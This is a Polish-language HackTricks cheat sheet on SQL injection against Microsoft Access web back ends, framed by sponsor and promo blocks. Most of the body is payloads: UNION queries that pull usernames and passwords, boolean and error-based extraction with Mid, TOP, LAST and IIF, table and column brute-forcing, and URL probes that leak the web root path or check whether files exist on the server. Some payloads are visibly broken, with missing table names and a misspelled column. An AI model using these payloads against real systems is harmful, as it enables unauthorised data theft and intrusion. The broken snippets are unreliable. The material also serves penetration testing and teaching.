# Wstrzykiwanie SQL w MS Access
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
## Online Playground
* [https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1)
## Ograniczenia bazy danych
### Konkatenacja ciągów znaków
Konkatenacja ciągów znaków jest możliwa za pomocą znaków `& (%26)` i `+ (%2b)`.
```sql
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00
```
### Komentarze
W MS Access nie ma komentarzy, ale wydaje się, że można usunąć ostatnią część zapytania za pomocą znaku NULL:
```sql
1' union select 1,2 from table%00
```
Jeśli to nie działa, zawsze możesz poprawić składnię zapytania:
```sql
1' UNION SELECT 1,2 FROM table WHERE ''='
```
### Zapytania zagnieżdżone
Nie są obsługiwane.
### LIMIT
Operator **`LIMIT`** **nie jest zaimplementowany**. Jednakże, możliwe jest ograniczenie wyników zapytania SELECT do **pierwszych N wierszy tabeli za pomocą operatora `TOP`**. `TOP` przyjmuje jako argument liczbę całkowitą, reprezentującą liczbę zwracanych wierszy.
```sql
1' UNION SELECT TOP 3 attr FROM table%00
```
Tak jak w przypadku TOP, można użyć **`LAST`**, który pobierze **wiersze od końca**.
## Zapytania UNION/Podzapytania
W SQLi zazwyczaj chcesz w jakiś sposób wykonać nowe zapytanie, aby wydobyć informacje z innych tabel. MS Access zawsze wymaga, aby w **podzapytaniach lub dodatkowych zapytaniach wskazano `FROM`**.\
Więc jeśli chcesz wykonać `UNION SELECT` lub `UNION ALL SELECT` lub `SELECT` w nawiasach w warunku, zawsze **musisz wskazać `FROM` z prawidłową nazwą tabeli**.\
Dlatego musisz znać **prawidłową nazwę tabeli**.
```sql
-1' UNION SELECT username,password from users%00
```
### Łączenie równości + Podciąg
{% hint style="warning" %}
To pozwoli Ci na wydobycie wartości z bieżącej tabeli bez konieczności znajomości nazwy tabeli.
{% endhint %}
**MS Access** pozwala na **dziwną składnię**, taką jak **`'1'=2='3'='asd'=false`**. Jak zwykle, wstrzyknięcie SQL będzie znajdować się w klauzuli **`WHERE`**, więc możemy to wykorzystać.
Wyobraź sobie, że masz SQLi w bazie danych MS Access i wiesz (lub zgadujesz), że jedna z **nazw kolumn to username**, a to pole chcesz **wydobyć**. Możesz sprawdzić różne odpowiedzi aplikacji internetowej, gdy używana jest technika łączenia równości i potencjalnie wydobyć zawartość za pomocą **wstrzyknięcia booleanowego**, używając funkcji **`Mid`** do pobierania podciągów.
```sql
'=(Mid(username,1,3)='adm')='
```
Jeśli znasz **nazwę tabeli** i **kolumny**, którą chcesz wydobyć, możesz użyć kombinacji funkcji `Mid`, `LAST` i `TOP`, aby **wyciec wszystkie informacje** za pomocą boolean SQLi:
```sql
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
```
_Możesz to sprawdzić w internetowym środowisku testowym._
### Brute-forcing nazw tabel
Za pomocą techniki łańcuchowego równania możesz również **brute-force'ować nazwy tabel** używając czegoś takiego jak:
```sql
'=(select+top+1+'lala'+from+)='
```
Możesz również użyć bardziej tradycyjnej metody:
```sql
-1' AND (SELECT TOP 1 )%00
```
_Nie wahaj się sprawdzić tego w internetowym środowisku testowym._
* Wspólne nazwy tabel w Sqlmap: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
* Istnieje inna lista na stronie [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
### Próba siłowa nazw kolumn
Możesz **próbować siłowo nazw bieżących kolumn** za pomocą sztuczki z łańcuchowaniem równości z:
```sql
'=column_name='
```
Lub z użyciem **group by**:
```sql
-1' GROUP BY column_name%00
```
Lub możesz przeprowadzić brutalne przełamanie nazw kolumn **innego tabeli** za pomocą:
```sql
'=(SELECT TOP 1 column_name FROM valid_table_name)='
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
```
### Wydobywanie danych
Już omówiliśmy [**technikę łączenia równości**](ms-access-sql-injection.md#chaining-equals-+-substring) **do wydobywania danych z bieżących i innych tabel**. Ale istnieją inne sposoby:
```sql
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
```
W skrócie, zapytanie używa instrukcji "if-then", aby wywołać "200 OK" w przypadku sukcesu lub "500 Internal Error" w przeciwnym razie. Wykorzystując operator TOP 10, można wybrać pierwszych dziesięć wyników. Następne użycie LAST pozwala uwzględnić tylko 10. krotkę. Na tej wartości, używając operatora MID, można przeprowadzić prostą porównanie znaków. Poprawiając indeks MID i TOP, możemy wyciągnąć zawartość pola "username" dla wszystkich wierszy.
### Oparte na czasie
Sprawdź [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676\(v=technet.10\)?redirectedfrom=MSDN)
### Inne interesujące funkcje
* `Mid('admin',1,1)` pobierz podciąg od pozycji 1 o długości 1 (początkowa pozycja to 1)
* `LEN('1234')` pobierz długość ciągu znaków
* `ASC('A')` pobierz wartość ASCII znaku
* `CHR(65)` pobierz ciąg znaków z wartości ASCII
* `IIF(1=1,'a','b')` jeśli to
* `COUNT(*)` Liczba elementów
## Wyliczanie tabel
Z [**tutaj**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database) możesz zobaczyć zapytanie, które pobiera nazwy tabel:
```sql
select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name
```
Jednakże, należy zauważyć, że bardzo często można znaleźć Wstrzyknięcia SQL, gdzie **nie masz dostępu do odczytu tabeli `MSysObjects`**.
## Dostęp do systemu plików
### Pełna ścieżka do katalogu głównego witryny
Wiedza o **bezwzględnej ścieżce do katalogu głównego witryny może ułatwić dalsze ataki**. Jeśli błędy aplikacji nie są całkowicie ukryte, ścieżka katalogu może zostać ujawniona podczas próby wyboru danych z nieistniejącej bazy danych.
`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
MS Access odpowiada **komunikatem o błędzie zawierającym pełną ścieżkę katalogu witryny**.
### Wyliczanie plików
Następujący wektor ataku może być używany do **wnioskowania o istnieniu pliku na zdalnym systemie plików**. Jeśli określony plik istnieje, MS Access wywołuje komunikat o błędzie informujący, że format bazy danych jest nieprawidłowy:
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
Innym sposobem na wyliczenie plików jest **określenie elementu bazy danych.tabela**. **Jeśli** określony **plik istnieje**, MS Access wyświetla **komunikat o błędzie formatu bazy danych**.
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`
### Odgadywanie nazwy pliku .mdb
**Nazwa pliku bazy danych (.mdb)** może być wywnioskowana za pomocą następującego zapytania:
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
Gdzie **name\[i] to nazwa pliku .mdb** i **realTable to istniejąca tabela** w bazie danych. Chociaż MS Access zawsze wywoła komunikat o błędzie, możliwe jest rozróżnienie między nieprawidłową nazwą pliku a prawidłową nazwą pliku .mdb.
### Łamacz hasła .mdb
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) to darmowe narzędzie, które można użyć do odzyskania głównego hasła bazy danych Microsoft Access 95/97/2000/XP lub Jet Database Engine 3.0/4.0.
## Odwołania
* [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.